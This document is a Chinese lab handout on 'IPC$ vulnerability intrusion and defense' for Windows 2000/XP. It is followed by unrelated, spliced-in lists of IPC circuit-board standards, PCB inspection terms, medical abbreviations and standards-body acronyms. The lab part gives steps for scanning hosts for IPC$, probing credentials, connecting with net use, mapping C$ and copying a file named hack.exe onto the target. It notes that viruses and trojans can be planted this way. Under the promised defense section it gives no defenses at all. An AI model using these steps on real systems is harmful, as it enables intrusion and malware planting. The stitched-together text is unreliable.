IPC$漏洞入侵与防御
实验五 IPC$漏洞入侵与防御
1、实验目的
(1) 何谓IPC$漏洞的入侵
(2) 掌握IPC$漏洞的入侵与防范
可参照课本P214页实验8-3
2、实验环境
两台或两台以上计算机装有Windows 2000 、XP操作系统，也可以用虚拟机。（目前最好用windows 2000操作系统）
3、实验原理
为了远程网络的连接以及便于网络管理员的管理，Windows NT、Windows 2000以及Windows XP 等系统总是把C、D等盘默认共享成C$、D$,从而造成管理员的疏忽，黑客进出的通道。
4、实验要求
(1) 了解IPC$漏洞
(2) 了解IPC$漏洞的入侵与防范
5、实验步骤
(1) 何谓IPC$漏洞的入侵（见参考资料）
(2) 实现IPC$漏洞扫描
利用流光或啊D等工具扫描具有IPC$漏洞的主机，例如：可利用流光扫描到IPC$漏洞主机，并探测出用户名和密码。
(3) 连接到目标主机
net use \\ip\ipc$“密码” /user:“用户名”
如：net use \\192.168.8.175\ipc$“***” /user:“administrator”（要有准确的用户名和密码）net view \\ip
net time \\ip
nbtstat –A ip
net use z: \\ip\c$如：net use z: \\192.168.8.175\c$或d$等
可以向对方机子放置文件、病毒、木马。。。
如：copy c:\test.exe z:\hack.exe
建立共享：net share ipc$
net share admin$
net share c$=c:
net share c=c:
删除空会话：net use \\ip\ipc$ /del
注：
也可以直接在地址栏输入：\\IP\C$(或D$、E$等)，也可以看到机器上相应的内容。
如：\\192.168.8.175\c$\\192.168.8.175\d$等
(4) IPC$攻击的防范
ipc标准中英名称对照
IPC标准中英名称对照 IPC-M-105 Rigid Printed Board Manual 刚性印制板设计手册 IPC-D-325A Documentation Requirements for Printed Boards 印制板设计文件图册要求 IPC-PE-740A Troubleshooting for Printed Board Manufacture and Assembly 印制板制造和组装的故障排除 IPC-6010 Series IPC-6010 Qualification and Performance Series IPC-6010印制电路板质量标准和性能规范系列手册 IPC-6011 Generic Performance Specification for Printed Boards 印制板通用性能规范 IPC-6013A Qualification & Performance Specification for Flexible Printed Boards (Includes Amendment 1) 挠性印制板的鉴定与性能规范（包括修改单1） IPC-6016 Qualification & Performance Specification for High Density Interconnect (HDI) Layers or Boards 高密度互连(HDI)层或印制板的鉴定与性能规范
IPC-6012A-AM Qualification and Performance Specification for Rigid Printed Boards, Includes Amendment 1 刚性印制板的鉴定与性能规范(包括修改单1) IPC-6018A Microwave End Product Board Inspection and Tech 微波成品印制板的检验和测试 IPC-6015 Qualification & Performance Specification for Organic Multichip Module (MCM-L) Mounting and Interconnections 有机多芯片模块(MCM-L)安装及互连结构的鉴定与性能规范 IPC-A-600F Acceptability of Printed Boards 印制板验收条件 IPC-QE-605A Printed Board Quality Evaluation Handbook 印制板质量评价 IPC-QE-605A-KIT Hard Copy and CD 印制板质量评价书和光盘(CD) IPC-HM-860 Specification for Multilayer Hybrid Circuits 多层混合电路规范 IPC-TF-870 Qualification and Performance of Polymer Thick Film Printed Boards 聚合物厚膜印制板的鉴定与性能 IPC-ML-960 Qualification and Performance Specification for Mass Lamination Panels for Multilayer printed Boards
PCB常见工程咨询中英文对照总结
常见工程咨询中英文对照 问题：客户未告知采用什么标准进行制作与检查。 建议：我们按IPC-6012B Class2与IPC-A-600G Class2 做。 Question 1: Customer doesn’t tell us what standards we should take to manufacture and inspect. Suggestion: We will follow IPC-6012B Class2 &IPC-A-600G Class2. 问题：客户未告知板料类型。 建议：我们将使用FR4． Question: Customer doesn’t tell us material type. Suggestion: We will use FR4. 问题：客户要求成品厚度为1.60+/-0.10mm，此公差对六层板而言太紧，难以控制。 建议: 将公差放松到+/-0.15mm. Question: Customer requires “1.60+/-0.10mm” finished board thickness, the tolerance is too tight for six -layer board., it’s hard to control for us. Suggestion: Relax the tolerance to be +/-0.15mm. 问题：客户未规定使用何种类型的阻焊油及颜色。 建议: 我们采用普通感光绿色湿油. Question: Customer doesn’t specify solder mask type and color. Suggestion: We use normal green LPI. 问题：客户未指定UL 标记与Date code加于何处及以何种方式显示。 建议：见下图，我们将其加于TOP面，以白字显示。 Question: Customer doesn’t specify where and by what display form we should add UL logo and date code. Suggestion: See below picture, we add them on top side and display them by silk letters. 问题：客户要求线路表面油厚为30um min，线路拐角位为20um min，此要求太高。 建议: 线路油表面厚与线路拐角位油厚分别放松到15um min 与10um min. Question: Solder mask is required to be 30um min over line and 20um min at corners, it’s too strict. Suggestion: Relax it to be 15um min over line and 10um min at corners, 问题：客户未规定镍金厚度要求。 建议：我们按镍厚2.54um min,金厚0.03—0.08um制作. Question: Customer doesn’t specify thickness of Ni and gold. Suggestion: Ni: 2.54um min and gold: 0.03---0.08um. 问题：客户未清楚指明层序。 建议：层序为： Question: Customer doesn’t indicate layer sequence. Suggestion: Layer sequence is 问题：客户未规定压板结构。 建议：按下图所示做。 Question: Customer doesn’t specify lay-up structure. Suggestion: Follow below picture to do.
IPC-A-610国际标准中英文对照(doc 17)
IPC-A-610国际标准中英文对照 4.6.2 Heat sink-Contact 散热片――接触片 arget-Class 1,2,3 目标——等级1,2,3 · Component and heatsink are in full contact with the mounting surface. 组件和散热片与安装表面完全 接触 · Hardware meets specified attachment requirements. 部件满足规定的接触要求。 Figure图4-64 1. Heat sink 散热片 Acceptable-Class 1,2,3 可接受的——等级1,2,3 · Component not flush. 组件不平齐 · Minimum 75% contact with mounting surface. 至少有75%与安装表面接触 · Hardware meets mounting torque requirements if specified. 如果有规定，部件满足安装的转距要求
Figure图4-65 1. Gap 2. Heat sink 间隙散热片 Defect-Class 1,2,3 缺点——等级1,2,3 · Component is not in contact with mounting surface. 组件没有接触到安装表面 · Hardware is loose and can be moved. 部件松弛可以移动。 Figure图4-66 1. Heat sink 2. Gap 散热片间隙
5.1 Orientation 方向 5.1.1 Orientation-Horizontal 方向——水平 Target-Class 1,2,3 目标——等级1，2，3 ?Components are centered between their lands. 组件位于焊盘中央 ?Component markings are discernible. 组件标识清晰可见 ?Nonpolarized components are oriented so that markings all read the same way (left-to-right or top-to-bottom). Figure图5-1 无极性组件的方向应使其标识 都能按同样方式进行辨识 （从左到右或从上到下） Acceptable-Class 1,2,3 可接受的——等级1，2，3 ?Polarized and multilead components are oriented correctly. 有极性和多引脚的组件应按正确 方向安装。 ?When hand formed and hand-inserted, polarization symbols are discernible. 当手工成型及手插件时，极性符号可以辨识。 ?All components are as specified and terminate to Figure图 5-2 correct lands.
PCB内存条检验标准中英文对照
PCB内存条检验标准 1.Purpose目的 Setting up a spec of PCB for memory module product. 制定内存产品规格. 2.Scope范围 This spec is applied to the PCB for normal memory module product. 这规格应用于内存条产品. 3.Reference Document参考文献 1>PCB working direction(HEI standard) HEI标准PCB工作指引 2>JEDEC spec:JEDEC spec.M0-064 JEDEC标准:JEDEC spec.M0-064 3>IPC spec:IPC-A-600 IPC spec:IPC-A-600 4.Equipment & Materials:Not required仪器和材料:不要求 5.Calibration:Not required仪校:不要求 6.Records & Forms:Not required记录和格式:不要求 7.Safety安全性 1>Materials have to be stored in a appointed place. 产品必须储存在许可的地方. 2>It should be handled carefully for safety. 搬运必须考虑其产品的安全性.
8.Definition定义 1>PCB:a composite of organic and inorganic material,with external and internal conducting or low-resistivity paths that allow mechanical support and electrical connection of components.(Printed Circuit Board) 印刷线路板 2>Tab:It connects electrical signal between memory module and system 金手指:连接记忆模块和系统间电子信号 3>Via hole:An hole that provides an electrical pathway from one metal layer to the metal layer above or below 过孔:导通孔。用于印制板不同层中导线之间电气互连的一种镀覆孔。 4>Land:a circle copper which surrounds the via hole 孔环:过孔孔环-连接盘。 5>Solder Resist:Solder mask is applied to protect and insulate the circuitry both during subsequent soldering and in the environment 防焊阻剂:绿油 6>Discoloration:the change in color of any plated metallization. 变色:金属化镀层色差 7>Copper Island(Copper residue):Copper that exists out of circuit 残铜:线间弧岛残铜 8>Undercut:the lateral etching into a substrate under a resistant coating,as at the edge of a resist image(→overcut) 侧蚀(过蚀) 9>X-out:An inferior piece of PCB 报废PCS
医学常用中英文名称翻译标准
常用缩写 AAA, abdominal aortic aneurysm 腹主动脉瘤 ABFB, aortobifemoral bypass 主双股动脉旁路术 ABI, ankle-brachial index 踝肱指数 ACA, anterior cerebral artery 大脑前动脉 ACE, angiotensin-converting enzyme 血管紧张素转化酶 ACT, activated clotting time 活化凝血时间 ADA, American Diabetes Association 美国糖尿病协会 ADP, adenosine diphosphate 二磷酸腺苷 AEF, aortoenteric fistula 主动脉肠道瘘 AF, atrial fibrillation 房颤 AFB, aortofemoral bypass 主股旁路术 AGE, advanced glycosylation end product 高级糖基化终末产物 AHA, American Heart Association 美国心脏病协会 AHRQ, Agency for Healthcare Research and Quality 健康保健研究及质量控制委员会AI, aortoiliac 主髂 AIDS, acquired immunodeficiency syndrome 获得性免疫缺陷综合征 AKA, above-knee amputation 膝上截肢术 AMP, adenosine monophosphate 单磷酸腺苷 APC, activated protein C 活化蛋白C APG, air plethysmography 空气体积描记术 aPTT, activated partial thromboplastin time 活化部分凝血酶原时间 ARB, angiotensin receptor blocker 血管紧张素受体阻滞剂 ARDS, acute respiratory distress syndrome 急性呼吸窘迫综合征 ARF, acute renal failure 急性肾衰 ASA, acetylsalicylic acid 阿司匹林 ATN, acute tubular necrosis 急性肾小管坏死 ATP, adenosine triphosphate 三磷酸腺苷 AVE, arteriovenous fistula 动静脉瘘 AVG, arteriovenous graft 动静脉移植物
IPC(美国电路互联与载体学会标准)中英对比
IPC(美国电路互联与载体学会标准)中英对比 IPC(美国电路互联与载体学会标准）--2 序号标准号标准名称 1 IPC-SG-141 Specification for Finished Fabric Woven from "S" Glass for Printed Boards印制板用经处理S玻璃纤维织物规范 2 IPC-A-142 Specification for Finished Fabric Woven from Aramid for Printed Boards印制板用经处理聚芳酰胺纤维编织物规范 3 IPC-QF-143 Specification for Finished Fabric Woven from Quartz (Pure Fused Silica) for Printed Boards 印制板用经处理石英（熔融纯氧化硅）纤维编织物规范 4 IPC-2524 PWB Fabrication Data Quality Rating System 印制板制造数据质量定级体系 5 IPC-9151A Printed Board Process Capability Quality and Relative Reliability Benchmark Test Standard and Database印制板工艺容量质量可靠性试验标准和数据库 6 IPC-9191 General Guidelines for Implementation of Statistical Process Control (SPC) 实施统计过程控制(SPC)的通用导则 7 IPC-9199 Statistical Process Control (SPC) Quality Rating 统计分析控制 8 IPC-9252 Guidelines and Requirements for Electrical Testing of Unpopulated Printed Boards 未组装印制板电测试要求和指南 9 IT-97061 PWB Hole to Land Misregistration: Causes and Reliability印制线路板通孔与焊盘的错位: 原因和可靠性 10 IT-98103 Reliability of Misregistered and Landless Innerlayer Interconnects in Thick Panels 多层板内部无焊盘层互连错位的可靠性 11 IPC-MS-810 Guidelines for High Volume Microsection 大批量显微剖切导则 12 IPC-QL-653A Certification of Facilities that Inspect/Test Printed Boards Components & Materials 印制板、元器件及材料检验试验设备的认证 13 IPC-TR-483 Dimensional Stability Testing of Thin Laminates-Report on Phase 1 & 2 International Round Robin Test薄层压板尺寸稳走性试----国际联合试验计划I阶段及II阶段报告 14 IPC-TR-486 Round Robin Study to Correlate IST & Microsectioning Evaluations for Inner-Layer Separation 内层分离的互连应力测试(IST)与显微剖切相关性联合研究 15 IPC-T-50F Terms and Definition for Interconnecting and Packaging Electronic Circuits电子电路互连与封装的定义和术语 16 IPC-S-100 Standards and Specifications Manual标准和详细说明汇编手册 17 IPC-E-500 IPC Electronic Document Collection已出版的IPC标准电子文档资料合订本 18 IPC-TM-650 Test Methods Manual试验方法手册 19 IPC-ESD-20-20 Association Standard for the Development of an ESD Control Program静电释放控制过程(由静电释放协会制定) 20 IPC/EIA J-STD-001C Requirements for Soldered Electrical & Electronic Assemblies电气与电子组装件锡焊要求 21 IPC-HDBK-001 Handbook and Guide to Supplement J-STD-001—Includes Amendment 1J-STD-001辅助手册及指南及修改说明1 22 IPC-A-610C Acceptability of Electronic Assemblies印制板组装件验收条件 23 IPC-HDBK-610 Handbook and Guide to IPC-A-610 (Includes IPC-A-610B to C ComparisonIPC-610手册和指南(包括IPC-A-610B和C的对比)
IPC-A-610国际标准中英文对
IPC-A-610国际规范中英文对照 4.6.2 Heat sink-Contact 散热片――接触片 arget-Class 1,2,3 目标——等级1,2,3 · Component and heatsink are in full contact with the mounting surface. 组件和散热片与安装表面完全 接触 · Hardware meets specified attachment requirements. 部件满足规定的接触要求。 Figure图4-64 1. Heat sink 散热片 Acceptable-Class 1,2,3 可接受的——等级1,2,3 · Component not flush. 组件不平齐 · Minimum 75% contact with mounting surface. 至少有75%与安装表面接触 · Hardware meets mounting torque requirements if specified. 如果有规定，部件满足安装的转距要求
Figure图4-65 1. Gap 2. Heat sink 间隙散热片 Defect-Class 1,2,3 缺点——等级1,2,3 · Component is not in contact with mounting surface. 组件没有接触到安装表面 · Hardware is loose and can be moved. 部件松弛可以移动。 Figure图4-66 1. Heat sink 2. Gap 散热片间隙
5.1 Orientation 方向 5.1.1 Orientation-Horizontal 方向——水平 Target-Class 1,2,3 目标——等级1，2，3 ?Components are centered between their lands. 组件位于焊盘中央 ?Component markings are discernible. 组件标识清晰可见 ?Nonpolarized components are oriented so that markings all read the same way (left-to-right or top-to-bottom). Figure图5-1 无极性组件的方向应使其标识 都能按同样方式进行辨识 （从左到右或从上到下） Acceptable-Class 1,2,3 可接受的——等级1，2，3 ?Polarized and multilead components are oriented correctly. 有极性和多引脚的组件应按正确 方向安装。 ?When hand formed and hand-inserted, polarization symbols are discernible. 当手工成型及手插件时，极性符号可以辨识。 ?All components are as specified and terminate to Figure图 5-2 correct lands.
HYNIX检验标准中英文对照
1.Purpose 目的 Setting up a spec of PCB for memory module product. 制定内存产品规格. 2.Scope 范围 This spec is applied to the PCB for normal memory module product. 这规格应用于内存条产品. 3.Reference Document 参考文献 1>PCB working direction(HEI standard) HEI标准PCB工作指引 2>JEDEC spec:JEDEC spec.M0-064 JEDEC标准:JEDEC spec.M0-064 3>IPC spec:IPC-A-600 IPC spec:IPC-A-600 4.Equipment & Materials:Not required 仪器和材料:不要求 5.Calibration:Not required 仪校:不要求 6.Records & Forms:Not required 记录和格式:不要求 7.Safety 安全性 1>Materials have to be stored in a appointed place. 产品必须储存在许可的地方. 2>It should be handled carefully for safety. 搬运必须考虑其产品的安全性. 8.Definition 定义 1>PCB:a composite of organic and inorganic material,with external and internal conducting or low-resistivity paths that allow mechanical support and electrical connection of components.(Printed Circuit Board) 印刷线路板 2>Tab:It connects electrical signal between memory module and system 金手指:连接记忆模块和系统间电子信号 3>Via hole:An hole that provides an electrical pathway from one metal layer to the metal layer above or below 过孔:导通孔。用于印制板不同层中导线之间电气互连的一种镀覆孔。 4>Land:a circle copper which surrounds the via hole 孔环:过孔孔环-连接盘。 5>Solder Resist:Solder mask is applied to protect and insulate the circuitry both during subsequent soldering and in the environment 防焊阻剂:绿油 6>Discoloration:the change in color of any plated metallization. 变色:金属化镀层色差 7>Copper Island(Copper residue):Copper that exists out of circuit 残铜:线间弧岛残铜 8>Undercut:the lateral etching into a substrate under a resistant coating,as at the edge of a resist image(→overcut) 侧蚀(过蚀) 9>X-out:An inferior piece of PCB 报废PCS
IPC中文名称解释
IPC标准中英名称对照(76个) 2006-09-24 刚性印制板设计手册 IPC-D-325A Documentation Requirements for Printed Boards 印制板设计文件图册要求 IPC-PE-740A Troubleshooting for Printed Board Manufacture and Assembly 印制板制造和组装的故障排除 IPC-6010 Series IPC-6010 Qualification and Performance Series IPC-6010印制电路板质量标准和性能规范系列手册 IPC-6011 Generic Performance Specification for Printed Boards 印制板通用性能规范 IPC-6013A Qualification & Performance Specification for Flexible Printed Boards (Includes Amendment 1) 挠性印制板的鉴定与性能规范（包括修改单1） IPC-6016 Qualification & Performance Specification for High Density Interconnect (HDI) Layers or Boards 高密度互连(HDI)层或印制板的鉴定与性能规范 IPC-6012A-AM Qualification and Performance Specification for Rigid Printed Boards, Includes Amendment 1 刚性印制板的鉴定与性能规范 (包括修改单1)
21.34印刷电路板标准(中英文对照版)
21.34Printed Circuit Board Standards 21.34印刷电路板标准 Group I: Cards shall be of glass epoxy construction, comply with requirements of NEMA L1-1 grade FR-4, and have minimum nominal thickness of 0.063 inches. 第一组：卡片应该使用玻璃环氧基树脂构造，遵守国际电气制造业协会L1-1等级FR-4的要求，,最低标称厚度为0.063英寸。 Cards shall have conductors whose material shall be copper. Thickness and width of conductors shall be determined on basis of current carrying capacity and in accordance with IPC 2221A and IPC 2222. Minimum conductor thickness shall be 0.002 inch. 卡片应该有材料是铜的半导体。导体的厚度和宽度取决于电流负载能力的基础上，按照IPC2221A和IPC2222实行。最小的半导体的厚度应该是0.002英寸。 Printed circuit cards and components shall be covered with conformal coating on both sides between 0.003 inch and 0.007 inch in thickness. provisions to preclude coating from entering sockets shall be taken during the coating process. 印刷电路卡片和组件应该被两边的保形涂层所覆盖，厚度在0.003英寸和0.007英寸之间。进入套筒的排除涂料的预备材料应该取自于涂装工艺流程中。 Edge connectors and card shall be keyed to prevent insertion of card in wrong position, and mounted for ease of card removal and replacement and use of card extenders. 边缘连接器和卡关键在于防止在错误的位置插入卡，安装要使卡的去除和替换灵活，还有卡填充剂的使用。 Printed circuit cards shall have components identified to match component identification as shown on schematic diagram. 印刷电路卡片应该要有组件匹配识别去认证组件，展示在示意图上。 Group II: This specification documents the requirements for all propulsion, friction brake and automatic train control logic printed wiring assemblies, rigid single-sided, double-sided, and multilayer printed wiring assemblies. Alternate standards may be proposed subject to approval by the District. 第二组：此规范性文件包含对下列的要求：所有的推进，摩擦制动和自动列车控制逻辑印刷电路装配，刚性单面的，双面的和多层的印刷电路装配。备用标准经机构认同后也可使用。Single and double sided circuit boards shall be designed in accordance with IPC-D-330. Fordouble-sided and single-sided printed circuits assemblies, coupons are not required but are strongly recommended especially for large form factor boards. If coupons are provided on these types of boards, the artwork of the drawing for the corresponding assembly shall state that coupons are required for assembly. 单面或双面电路板须按照IPC-D-330来设计。对于双面或单面印刷电路装配，不要求样片，但是强烈建议有面板上的大块。如果此类电板上提供样片，相应的装配图绘应该说明装配需要样片。 Multilayer circuit boards shall be designed in accordance with IPC 2221A and IPC 2222. All multilayer assemblies with more than two layers shall include the coupon process and no exceptions shall be made. 多层电路板应该按照IPC 2221A和IPC 2222来设计。所有的超过两层的多层集和应包括样片进程并且不应有例外。 Solder mask shall be a permanent polymer coating in accordance with ANSI/IPC SM-840D and mask shall be applied to all circuit sides. 阻焊层须是永久性的聚合涂层，符合ANSI/IPC SM-840D 要求。涂层应应用于所有的电板。Printed wiring circuit board dimensions shall have tolerances per IPC 2615. 印刷电路板尺寸可有根据IPC 2615所容许的误差。 Finished boards shall meet the criteria of ANSI/IPC A-600G. 成品板需满足ANSI/IPC A-600G的标准。 Assembly of circuit boards shall comply with IPC CM-770E. 电路板集合须符合IPC CM-770E 标准。 Completed assemblies shall meet the criteria of ANSI/IPC A-610D. 完成的集合须符合ANSI/IPC A-610D 标准。
国外标准组织缩写中英文对照表
国外标准组织缩写中英文对照表 https://www.360docs.net/doc/b213087262.html, 2006-12-27 中国食品科技网·A2LA 美国实验室认可协会 ·AASHTO 美国国家公路与运输协会标准 ·AATCC 美国纺织化学师与印染师协会标准 ·ACI 美国混凝土学会 ·AGMA 美国齿轮制造商协会标准 ·AIIM 美国信息与图像管理协会标准 ·ANSI 美国国家标准 ·ATIS 美国信息标准 ·API 美国石油学会标准 ·ARI 美国空调与制冷学会标准 ·AS 澳大利亚标准 ·ASAE 美国农业工程师学会标准 ·ASHRAE 美国采暖、制冷与空调工程师协会标准 ·ASME 美国机械工程师协会标准 ·ASME BPVC 锅炉及压力容器相关标准和法规规范 ·ASQ 美国质量控制协会标准 ·ASSE 美国卫生工程学会 ·ASTM 美国材料与试验协会标准 ·AWS 美国焊接协会标准 ·AWWA 美国给水工程协会标准 ·AACC 美国谷物化学师协会 ·AAMA 美国建筑制造商协会 ·AH&MA 美国旅馆和汽车旅馆协会 ·AISC 美国钢结构协会 ·AMCA 美国通风与空调协会 ·AOAC 美国官方分析化学师协会 ·BHM A 美国建筑小五金制造商协会标准 ·BOCA 国际职业建筑人员与法规管理人员联合会 ·BS 英国标准 ·BIFMA 美国办公家具协会 ·BISFA 国际人造纤维标准化局 ·BIMP 国际计量局 ·BP 英国药典 ·CECC 欧洲电子元器件协会 ·CEPT/ETSI/ECMA 欧洲计算机与通讯文档 ·CFR 美国联邦法规 ·CGSB 加拿大通用标准委员会标准 ·CIE 国际照明委员会 ·CSA 加拿大标准
IPC标准中英名称对照
IPC标准中英名称对照(76个) IPC-M-105 Rigid Printed Board Manual 刚性印制板设计手册 IPC-D-325A Documentation Requirements for Printed Boards 印制板设计文件图册要求 IPC-PE-740A Troubleshooting for Printed Board Manufacture and Assembly 印制板制造和组装的故障排除 IPC-6010 Series IPC-6010 Qualification and Performance Series IPC-6010印制电路板质量标准和性能规范系列手册 IPC-6011 Generic Performance Specification for Printed Boards 印制板通用性能规范 IPC-6013A Qualification & Performance Specification for Flexible Printed Boards (Includes Amendment 1) 挠性印制板的鉴定与性能规范（包括修改单1） IPC-6016 Qualification & Performance Specification for High Density Interconnect (HDI) Layers or Boards 高密度互连(HDI)层或印制板的鉴定与性能规范 IPC-6012A-AM Qualification and Performance Specification for Rigid Printed Boards, Includes Amendment 1 刚性印制板的鉴定与性能规范 (包括修改单1) IPC-6018A Microwave End Product Board Inspection and Tech 微波成品印制板的检验和测试 IPC-6015 Qualification & Performance Specification for Organic Multichip Module (MCM-L) Mounting and Interconnections 有机多芯片模块(MCM-L)安装及互连结构的鉴定与性能规范 IPC-A-600F Acceptability of Printed Boards 印制板验收条件 IPC-QE-605A Printed Board Quality Evaluation Handbook 印制板质量评价